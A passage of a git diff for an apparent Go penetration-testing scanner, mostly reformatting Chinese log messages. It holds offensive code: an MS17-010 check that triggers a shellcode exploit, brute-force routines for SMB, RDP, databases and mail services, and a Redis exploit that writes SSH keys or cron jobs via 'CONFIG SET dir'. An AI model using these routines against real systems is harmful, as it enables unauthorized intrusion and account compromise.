Common.LogError(fmt.Sprintf("管道请求解码错误: %v", err)) + os.Exit(1) } // 解密会话设置请求 decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key) if err != nil { - log.Fatalf("解密会话设置请求失败: %v", err) + Common.LogError(fmt.Sprintf("会话设置解密错误: %v", err)) + os.Exit(1) } trans2SessionSetupRequest, err = hex.DecodeString(decrypted) if err != nil { - log.Fatalf("解码会话设置请求失败: %v", err) + Common.LogError(fmt.Sprintf("会话设置解码错误: %v", err)) + os.Exit(1) } } // MS17010 扫描入口函数 func MS17010(info *Common.HostInfo) error { - // 暴力破解模式下跳过扫描 if Common.DisableBrute { return nil } - // 执行MS17-010漏洞扫描 err := MS17010Scan(info) if err != nil { - Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err)) + Common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err)) } return err } -// MS17010Scan 执行MS17-010漏洞扫描 func MS17010Scan(info *Common.HostInfo) error { ip := info.Host - // 连接目标445端口 + // 连接目标 conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second) if err != nil { - return err + return fmt.Errorf("连接错误: %v", err) } defer conn.Close() - // 设置连接超时 if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { - return err + return fmt.Errorf("设置超时错误: %v", err) } - // 发送SMB协议协商请求 + // SMB协议协商 if _, err = conn.Write(negotiateProtocolRequest); err != nil { - return err + return fmt.Errorf("发送协议请求错误: %v", err) } - // 读取响应 reply := make([]byte, 1024) if n, err := conn.Read(reply); err != nil || n < 36 { - return err + if err != nil { + return fmt.Errorf("读取协议响应错误: %v", err) + } + return fmt.Errorf("协议响应不完整") } - // 检查协议响应状态 if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - return err + return fmt.Errorf("协议协商被拒绝") } - // 发送会话建立请求 + // 建立会话 if _, err = conn.Write(sessionSetupRequest); err != nil { - return err + return fmt.Errorf("发送会话请求错误: %v", err) } - // 读取响应 n, err := conn.Read(reply) if err != nil || n < 36 { - return err + if err != nil { + return fmt.Errorf("读取会话响应错误: %v", err) + } + return fmt.Errorf("会话响应不完整") } - // 检查会话响应状态 if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - return errors.New("无法确定目标是否存在漏洞") + return fmt.Errorf("会话建立失败") } - // 提取操作系统信息 + // 提取系统信息 var os string sessionSetupResponse := reply[36:n] if wordCount := sessionSetupResponse[0]; wordCount != 0 { byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) if n != int(byteCount)+45 { - fmt.Printf("[-] %s:445 MS17010无效的会话响应\n", ip) + Common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip)) } else { - // 查找Unicode字符串结束标记(两个连续的0字节) for i := 10; i < len(sessionSetupResponse)-1; i++ { if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 { os = string(sessionSetupResponse[10:i]) @@ -163,69 +169,76 @@ func MS17010Scan(info *Common.HostInfo) error { } } - // 获取用户ID + // 树连接请求 userID := reply[32:34] treeConnectRequest[32] = userID[0] treeConnectRequest[33] = userID[1] - // 发送树连接请求 if _, err = conn.Write(treeConnectRequest); err != nil { - return err + return fmt.Errorf("发送树连接请求错误: %v", err) } if n, err := conn.Read(reply); err != nil || n < 36 { - return err + if err != nil { + return fmt.Errorf("读取树连接响应错误: %v", err) + } + return fmt.Errorf("树连接响应不完整") } - // 获取树ID并设置后续请求 + // 命名管道请求 treeID := reply[28:30] transNamedPipeRequest[28] = treeID[0] transNamedPipeRequest[29] = treeID[1] transNamedPipeRequest[32] = userID[0] transNamedPipeRequest[33] = userID[1] - // 发送命名管道请求 if _, err = conn.Write(transNamedPipeRequest); err != nil { - return err + return fmt.Errorf("发送管道请求错误: %v", err) } if n, err := conn.Read(reply); err != nil || n < 36 { - return err + if err != nil { + return fmt.Errorf("读取管道响应错误: %v", err) + } + return fmt.Errorf("管道响应不完整") } - // 检查漏洞状态 + // 漏洞检测 if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 { - // 目标存在MS17-010漏洞 - Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os)) + if os != "" { + Common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os)) + } else { + Common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip)) + } - // 如果指定了shellcode,执行漏洞利用 - defer func() { - if Common.Shellcode != "" { - MS17010EXP(info) - } - }() - - // 检测DOUBLEPULSAR后门 + // DOUBLEPULSAR后门检测 trans2SessionSetupRequest[28] = treeID[0] trans2SessionSetupRequest[29] = treeID[1] trans2SessionSetupRequest[32] = userID[0] trans2SessionSetupRequest[33] = userID[1] if _, err = conn.Write(trans2SessionSetupRequest); err != nil { - return err + return fmt.Errorf("发送后门检测请求错误: %v", err) } if n, err := conn.Read(reply); err != nil || n < 36 { - return err + if err != nil { + return fmt.Errorf("读取后门检测响应错误: %v", err) + } + return fmt.Errorf("后门检测响应不完整") } if reply[34] == 0x51 { - Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s 存在DOUBLEPULSAR后门", ip)) + Common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip)) } - } else { - // 未检测到漏洞,仅输出系统信息 - Common.LogSuccess(fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os)) + + // Shellcode利用 + if Common.Shellcode != "" { + defer MS17010EXP(info) + } + } else if os != "" { + Common.LogInfo(fmt.Sprintf("系统信息 %s [%s]", ip, os)) } - return err + return nil } diff --git a/Plugins/MSSQL.go b/Plugins/MSSQL.go index 6066ab1..dd3831c 100644 --- a/Plugins/MSSQL.go +++ b/Plugins/MSSQL.go @@ -82,7 +82,7 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) { } if err != nil { - errlog := fmt.Sprintf("[-] MSSQL %v:%v %v %v %v", + errlog := fmt.Sprintf("MSSQL %v:%v %v %v %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) diff --git a/Plugins/Memcached.go b/Plugins/Memcached.go index c086da0..be144bd 100644 --- a/Plugins/Memcached.go +++ b/Plugins/Memcached.go @@ -33,14 +33,14 @@ func MemcachedScan(info *Common.HostInfo) error { rev := make([]byte, 1024) n, err := client.Read(rev) if err != nil { - errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err) + errlog := fmt.Sprintf("Memcached %v:%v %v", info.Host, info.Ports, err) Common.LogError(errlog) return err } // 检查响应内容 if strings.Contains(string(rev[:n]), "STAT") { - result := fmt.Sprintf("[+] Memcached %s 未授权访问", realhost) + result := fmt.Sprintf("Memcached %s 未授权访问", realhost) Common.LogSuccess(result) } diff --git a/Plugins/Modbus.go b/Plugins/Modbus.go index a00da6e..bb80536 100644 --- a/Plugins/Modbus.go +++ b/Plugins/Modbus.go @@ -41,13 +41,13 @@ func ModbusScan(info *Common.HostInfo) error { // 验证响应 if isValidModbusResponse(response[:n]) { - result := fmt.Sprintf("[+] Modbus服务 %v:%v 无认证访问", host, port) + result := fmt.Sprintf("Modbus服务 %v:%v 无认证访问", host, port) Common.LogSuccess(result) // 尝试读取更多设备信息 deviceInfo := parseModbusResponse(response[:n]) if deviceInfo != "" { - Common.LogSuccess(fmt.Sprintf("[+] 设备信息: %s", deviceInfo)) + Common.LogSuccess(fmt.Sprintf("设备信息: %s", deviceInfo)) } return nil } diff --git a/Plugins/Mongodb.go b/Plugins/Mongodb.go index bc83a28..27f88af 100644 --- a/Plugins/Mongodb.go +++ b/Plugins/Mongodb.go @@ -15,7 +15,7 @@ func MongodbScan(info *Common.HostInfo) error { _, err := MongodbUnauth(info) if err != nil { - errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err) + errlog := fmt.Sprintf("MongoDB %v:%v %v", info.Host, info.Ports, err) Common.LogError(errlog) } return err @@ -41,7 +41,7 @@ func MongodbUnauth(info *Common.HostInfo) (bool, error) { // 检查响应结果 if strings.Contains(reply, "totalLinesWritten") { - result := fmt.Sprintf("[+] MongoDB %v 未授权访问", realhost) + result := fmt.Sprintf("MongoDB %v 未授权访问", realhost) Common.LogSuccess(result) return true, nil } diff --git a/Plugins/MySQL.go b/Plugins/MySQL.go index 2d909dc..a2b43a6 100644 --- a/Plugins/MySQL.go +++ b/Plugins/MySQL.go @@ -91,7 +91,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) { // 连接成功 select { case successChan <- struct{}{}: // 标记成功 - successLog := fmt.Sprintf("[+] MySQL %v:%v %v %v", + successLog := fmt.Sprintf("MySQL %v:%v %v %v", info.Host, info.Ports, task.user, task.pass) Common.LogSuccess(successLog) default: @@ -105,7 +105,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] MySQL %v:%v %v %v %v", + errlog := fmt.Sprintf("MySQL %v:%v %v %v %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) diff --git a/Plugins/Neo4j.go b/Plugins/Neo4j.go index e7135b7..14ae659 100644 --- a/Plugins/Neo4j.go +++ b/Plugins/Neo4j.go @@ -100,7 +100,7 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -177,7 +177,7 @@ func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) { } // 连接成功 - result := fmt.Sprintf("[+] Neo4j服务 %v:%v ", host, port) + result := fmt.Sprintf("Neo4j服务 %v:%v ", host, port) if user != "" { result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) } else { diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index 7f81063..71a4aba 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -18,7 +18,7 @@ func NetBIOS(info *Common.HostInfo) error { netbios, _ := NetBIOS1(info) output := netbios.String() if len(output) > 0 { - result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output) + result := fmt.Sprintf("NetBios %-15s %s", info.Host, output) Common.LogSuccess(result) return nil } diff --git a/Plugins/Oracle.go b/Plugins/Oracle.go index d90c94f..f5c4a5e 100644 --- a/Plugins/Oracle.go +++ b/Plugins/Oracle.go @@ -85,7 +85,7 @@ func OracleScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] Oracle %v:%v %v %v %v", + errlog := fmt.Sprintf("Oracle %v:%v %v %v %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -152,7 +152,7 @@ func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) { } // 连接成功 - result := fmt.Sprintf("[+] Oracle %v:%v:%v %v", host, port, username, password) + result := fmt.Sprintf("Oracle %v:%v:%v %v", host, port, username, password) Common.LogSuccess(result) return true, nil } diff --git a/Plugins/POP3.go b/Plugins/POP3.go index 306b09a..bcf6624 100644 --- a/Plugins/POP3.go +++ b/Plugins/POP3.go @@ -77,7 +77,7 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) { err = result.err if result.success && err == nil { // 连接成功 - successLog := fmt.Sprintf("[+] POP3服务 %v:%v 用户名: %v 密码: %v", + successLog := fmt.Sprintf("POP3服务 %v:%v 用户名: %v 密码: %v", info.Host, info.Ports, task.user, task.pass) Common.LogSuccess(successLog) resultChan <- nil @@ -89,7 +89,7 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -198,7 +198,7 @@ func tryPOP3Auth(conn net.Conn, host string, port string, user string, pass stri } if strings.Contains(response, "+OK") { - result := fmt.Sprintf("[+] POP3服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass) + result := fmt.Sprintf("POP3服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass) if isTLS { result += " (TLS)" } diff --git a/Plugins/Postgres.go b/Plugins/Postgres.go index cb10f55..ffa72c5 100644 --- a/Plugins/Postgres.go +++ b/Plugins/Postgres.go @@ -85,7 +85,7 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] PostgreSQL %v:%v %v %v %v", + errlog := fmt.Sprintf("PostgreSQL %v:%v %v %v %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -152,7 +152,7 @@ func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error) } // 连接成功 - result := fmt.Sprintf("[+] PostgreSQL %v:%v:%v %v", host, port, username, password) + result := fmt.Sprintf("PostgreSQL %v:%v:%v %v", host, port, username, password) Common.LogSuccess(result) return true, nil } diff --git a/Plugins/RDP.go b/Plugins/RDP.go index 30f779b..96ce637 100644 --- a/Plugins/RDP.go +++ b/Plugins/RDP.go @@ -73,9 +73,9 @@ func RdpScan(info *Common.HostInfo) (tmperr error) { // 连接成功 var result string if Common.Domain != "" { - result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", info.Host, port, Common.Domain, user, pass) + result = fmt.Sprintf("RDP %v:%v:%v\\%v %v", info.Host, port, Common.Domain, user, pass) } else { - result = fmt.Sprintf("[+] RDP %v:%v:%v %v", info.Host, port, user, pass) + result = fmt.Sprintf("RDP %v:%v:%v %v", info.Host, port, user, pass) } Common.LogSuccess(result) select { @@ -86,7 +86,7 @@ func RdpScan(info *Common.HostInfo) (tmperr error) { } // 连接失败 - errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", num, all, info.Host, port, user, pass, err) + errlog := fmt.Sprintf("(%v/%v) RDP %v:%v %v %v %v", num, all, info.Host, port, user, pass, err) Common.LogError(errlog) } }() @@ -139,9 +139,9 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute // 连接成功 var result string if domain != "" { - result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass) + result = fmt.Sprintf("RDP %v:%v:%v\\%v %v", host, port, domain, user, pass) } else { - result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass) + result = fmt.Sprintf("RDP %v:%v:%v %v", host, port, user, pass) } Common.LogSuccess(result) *signal = true @@ -149,7 +149,7 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute } // 连接失败 - errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err) + errlog := fmt.Sprintf("(%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err) Common.LogError(errlog) } } diff --git a/Plugins/RabbitMQ.go b/Plugins/RabbitMQ.go index 01af0df..4595c11 100644 --- a/Plugins/RabbitMQ.go +++ b/Plugins/RabbitMQ.go @@ -82,7 +82,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) { case result := <-done: err = result.err if result.success && err == nil { - result := fmt.Sprintf("[+] RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v", + result := fmt.Sprintf("RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v", info.Host, info.Ports, task.user, task.pass) Common.LogSuccess(result) resultChan <- nil @@ -94,7 +94,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -158,7 +158,7 @@ func RabbitMQConn(info *Common.HostInfo, user string, pass string) (bool, error) // 如果成功连接 if conn != nil { - result := fmt.Sprintf("[+] RabbitMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass) + result := fmt.Sprintf("RabbitMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass) Common.LogSuccess(result) return true, nil } diff --git a/Plugins/Redis.go b/Plugins/Redis.go index 7d79395..6f96ab5 100644 --- a/Plugins/Redis.go +++ b/Plugins/Redis.go @@ -90,7 +90,7 @@ func RedisScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] Redis %v:%v %v %v", + errlog := fmt.Sprintf("Redis %v:%v %v %v", info.Host, info.Ports, pass, err) Common.LogError(errlog) @@ -126,7 +126,7 @@ func RedisScan(info *Common.HostInfo) (tmperr error) { } } } - + return tmperr } @@ -162,12 +162,12 @@ func RedisConn(info *Common.HostInfo, pass string) (bool, error) { // 获取配置信息 dbfilename, dir, err = getconfig(conn) if err != nil { - result := fmt.Sprintf("[+] Redis %s %s", realhost, pass) + result := fmt.Sprintf("Redis %s %s", realhost, pass) Common.LogSuccess(result) return true, err } - result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename) + result := fmt.Sprintf("Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename) Common.LogSuccess(result) // 尝试利用 @@ -186,28 +186,28 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) { // 建立TCP连接 conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) if err != nil { - Common.LogError(fmt.Sprintf("[-] Redis连接失败 %s: %v", realhost, err)) + Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, err)) return flag, err } defer conn.Close() // 设置读取超时 if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { - Common.LogError(fmt.Sprintf("[-] Redis %s 设置超时失败: %v", realhost, err)) + Common.LogError(fmt.Sprintf("Redis %s 设置超时失败: %v", realhost, err)) return flag, err } // 发送info命令测试未授权访问 _, err = conn.Write([]byte("info\r\n")) if err != nil { - Common.LogError(fmt.Sprintf("[-] Redis %s 发送命令失败: %v", realhost, err)) + Common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err)) return flag, err } // 读取响应 reply, err := readreply(conn) if err != nil { - Common.LogError(fmt.Sprintf("[-] Redis %s 读取响应失败: %v", realhost, err)) + Common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err)) return flag, err } @@ -217,19 +217,19 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) { // 获取Redis配置信息 dbfilename, dir, err = getconfig(conn) if err != nil { - result := fmt.Sprintf("[+] Redis %s 发现未授权访问", realhost) + result := fmt.Sprintf("Redis %s 发现未授权访问", realhost) Common.LogSuccess(result) return flag, err } // 输出详细信息 - result := fmt.Sprintf("[+] Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename) + result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename) Common.LogSuccess(result) // 尝试漏洞利用 err = Expoilt(realhost, conn) if err != nil { - Common.LogError(fmt.Sprintf("[-] Redis %s 漏洞利用失败: %v", realhost, err)) + Common.LogError(fmt.Sprintf("Redis %s 漏洞利用失败: %v", realhost, err)) } } @@ -246,53 +246,53 @@ func Expoilt(realhost string, conn net.Conn) error { // 测试目录写入权限 flagSsh, flagCron, err := testwrite(conn) if err != nil { - Common.LogError(fmt.Sprintf("[-] Redis %v 测试写入权限失败: %v", realhost, err)) + Common.LogError(fmt.Sprintf("Redis %v 测试写入权限失败: %v", realhost, err)) return err } // SSH密钥写入测试 if flagSsh { - Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /root/.ssh/", realhost)) + Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /root/.ssh/", realhost)) // 如果指定了密钥文件则尝试写入 if Common.RedisFile != "" { writeok, text, err := writekey(conn, Common.RedisFile) if err != nil { - Common.LogError(fmt.Sprintf("[-] Redis %v SSH密钥写入错误: %v %v", realhost, text, err)) + Common.LogError(fmt.Sprintf("Redis %v SSH密钥写入错误: %v %v", realhost, text, err)) return err } if writeok { - Common.LogSuccess(fmt.Sprintf("[+] Redis %v SSH公钥写入成功", realhost)) + Common.LogSuccess(fmt.Sprintf("Redis %v SSH公钥写入成功", realhost)) } else { - Common.LogError(fmt.Sprintf("[-] Redis %v SSH公钥写入失败: %v", realhost, text)) + Common.LogError(fmt.Sprintf("Redis %v SSH公钥写入失败: %v", realhost, text)) } } } // 定时任务写入测试 if flagCron { - Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /var/spool/cron/", realhost)) + Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /var/spool/cron/", realhost)) // 如果指定了shell命令则尝试写入定时任务 if Common.RedisShell != "" { writeok, text, err := writecron(conn, Common.RedisShell) if err != nil { - Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入错误: %v", realhost, err)) + Common.LogError(fmt.Sprintf("Redis %v 定时任务写入错误: %v", realhost, err)) return err } if writeok { - Common.LogSuccess(fmt.Sprintf("[+] Redis %v 成功写入 /var/spool/cron/root", realhost)) + Common.LogSuccess(fmt.Sprintf("Redis %v 成功写入 /var/spool/cron/root", realhost)) } else { - Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入失败: %v", realhost, text)) + Common.LogError(fmt.Sprintf("Redis %v 定时任务写入失败: %v", realhost, text)) } } } // 恢复数据库配置 if err = recoverdb(dbfilename, dir, conn); err != nil { - Common.LogError(fmt.Sprintf("[-] Redis %v 恢复数据库失败: %v", realhost, err)) + Common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err)) } return err @@ -328,11 +328,11 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error // 读取密钥文件 key, err := Readfile(filename) if err != nil { - text = fmt.Sprintf("[-] 读取密钥文件 %s 失败: %v", filename, err) + text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err) return flag, text, err } if len(key) == 0 { - text = fmt.Sprintf("[-] 密钥文件 %s 为空", filename) + text = fmt.Sprintf("密钥文件 %s 为空", filename) return flag, text, err } @@ -414,7 +414,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { // 解析目标主机地址 target := strings.Split(host, ":") if len(target) < 2 { - return flag, "[-] 主机地址格式错误", err + return flag, "主机地址格式错误", err } scanIp, scanPort := target[0], target[1] @@ -495,40 +495,40 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { fmt.Println("[*] 正在测试 /root/.ssh/ 目录写入权限...") _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")) if err != nil { - fmt.Printf("[-] 发送SSH目录测试命令失败: %v\n", err) + fmt.Printf("发送SSH目录测试命令失败: %v\n", err) return flag, flagCron, err } text, err := readreply(conn) if err != nil { - fmt.Printf("[-] 读取SSH目录测试响应失败: %v\n", err) + fmt.Printf("读取SSH目录测试响应失败: %v\n", err) return flag, flagCron, err } fmt.Printf("[*] SSH目录测试响应: %s\n", text) if strings.Contains(text, "OK") { flag = true - fmt.Println("[+] SSH目录写入权限测试成功") + fmt.Println("SSH目录写入权限测试成功") } else { - fmt.Println("[-] SSH目录写入权限测试失败") + fmt.Println("SSH目录写入权限测试失败") } // 测试定时任务目录写入权限 fmt.Println("[*] 正在测试 /var/spool/cron/ 目录写入权限...") _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")) if err != nil { - fmt.Printf("[-] 发送定时任务目录测试命令失败: %v\n", err) + fmt.Printf("发送定时任务目录测试命令失败: %v\n", err) return flag, flagCron, err } text, err = readreply(conn) if err != nil { - fmt.Printf("[-] 读取定时任务目录测试响应失败: %v\n", err) + fmt.Printf("读取定时任务目录测试响应失败: %v\n", err) return flag, flagCron, err } fmt.Printf("[*] 定时任务目录测试响应: %s\n", text) if strings.Contains(text, "OK") { flagCron = true - fmt.Println("[+] 定时任务目录写入权限测试成功") + fmt.Println("定时任务目录写入权限测试成功") } else { - fmt.Println("[-] 定时任务目录写入权限测试失败") + fmt.Println("定时任务目录写入权限测试失败") } fmt.Printf("[*] 写入权限测试完成 - SSH权限: %v, Cron权限: %v\n", flag, flagCron) diff --git a/Plugins/Rsync.go b/Plugins/Rsync.go index 582c5d2..1de3010 100644 --- a/Plugins/Rsync.go +++ b/Plugins/Rsync.go @@ -102,7 +102,7 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -242,7 +242,7 @@ func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) { if strings.Contains(authResponse, "@RSYNCD: OK") { // 模块不需要认证 if user == "" && pass == "" { - result := fmt.Sprintf("[+] Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName) + result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName) Common.LogSuccess(result) return true, nil } @@ -264,7 +264,7 @@ func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) { } if !strings.Contains(string(buffer[:n]), "@ERROR") { - result := fmt.Sprintf("[+] Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v", + result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v", host, port, moduleName, user, pass) Common.LogSuccess(result) return true, nil diff --git a/Plugins/SMB.go b/Plugins/SMB.go index 049dbbe..2323d45 100644 --- a/Plugins/SMB.go +++ b/Plugins/SMB.go @@ -15,67 +15,86 @@ func SmbScan(info *Common.HostInfo) (tmperr error) { } threads := Common.BruteThreads - totalTasks := len(Common.Userdict["smb"]) * len(Common.Passwords) - - taskChan := make(chan struct { - user string - pass string - }, totalTasks) - - // 生成任务 - for _, user := range Common.Userdict["smb"] { - for _, pass := range Common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - var wg sync.WaitGroup successChan := make(chan struct{}, 1) - // 启动工作线程 - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for task := range taskChan { - select { - case <-successChan: - return - default: - } + // 按用户分组处理 + for _, user := range Common.Userdict["smb"] { + taskChan := make(chan string, len(Common.Passwords)) - success, err := doWithTimeOut(info, task.user, task.pass) - if success { - if Common.Domain != "" { - Common.LogSuccess(fmt.Sprintf("[+] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v", - info.Host, info.Ports, Common.Domain, task.user, task.pass)) - } else { - Common.LogSuccess(fmt.Sprintf("[+] SMB认证成功 %v:%v User:%v Pass:%v", - info.Host, info.Ports, task.user, task.pass)) + for _, pass := range Common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- pass + } + close(taskChan) + + for i := 0; i < threads; i++ { + wg.Add(1) + go func(username string) { + defer wg.Done() + for pass := range taskChan { + select { + case <-successChan: + return + default: + } + + success, err := doWithTimeOut(info, username, pass) + if success { + if Common.Domain != "" { + Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s\\%s:%s", + info.Host, info.Ports, Common.Domain, username, pass)) + } else { + Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s:%s", + info.Host, info.Ports, username, pass)) + } + successChan <- struct{}{} + + // 成功后等待确保日志打印完成 + time.Sleep(500 * time.Millisecond) + return + } + + if err != nil { + Common.LogError(fmt.Sprintf("SMB认证失败 %s:%s %s:%s %v", + info.Host, info.Ports, username, pass, err)) + + // 等待失败日志打印完成 + time.Sleep(100 * time.Millisecond) + + if strings.Contains(err.Error(), "账号锁定") { + for range taskChan { + // 清空通道 + } + time.Sleep(200 * time.Millisecond) // 确保锁定日志打印完成 + return + } } - successChan <- struct{}{} - return } - if err != nil { - Common.LogError(fmt.Sprintf("[-] SMB认证失败 %v:%v User:%v Pass:%v Err:%v", - info.Host, info.Ports, task.user, task.pass, err)) - } - } - }() + }(user) + } + + wg.Wait() + + select { + case <-successChan: + // 等待日志打印完成 + time.Sleep(500 * time.Millisecond) + Common.LogWG.Wait() + return nil + default: + } } - wg.Wait() + // 主函数结束前多等待一会 + time.Sleep(500 * time.Millisecond) + Common.LogWG.Wait() + // 最后再等待一下,确保所有日志都打印完成 + time.Sleep(500 * time.Millisecond) return nil } func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { - flag = false - options := smb.Options{ Host: info.Host, Port: 445, @@ -89,10 +108,9 @@ func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struc if err == nil { defer session.Close() if session.IsAuthenticated { - flag = true - return flag, nil + return true, nil } - return flag, fmt.Errorf("认证失败") + return false, fmt.Errorf("认证失败") } // 清理错误信息中的换行符和多余空格 @@ -100,24 +118,24 @@ func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struc if strings.Contains(errMsg, "NT Status Error") { switch { case strings.Contains(errMsg, "STATUS_LOGON_FAILURE"): - err = fmt.Errorf("用户名或密码错误") + err = fmt.Errorf("密码错误") case strings.Contains(errMsg, "STATUS_ACCOUNT_LOCKED_OUT"): - err = 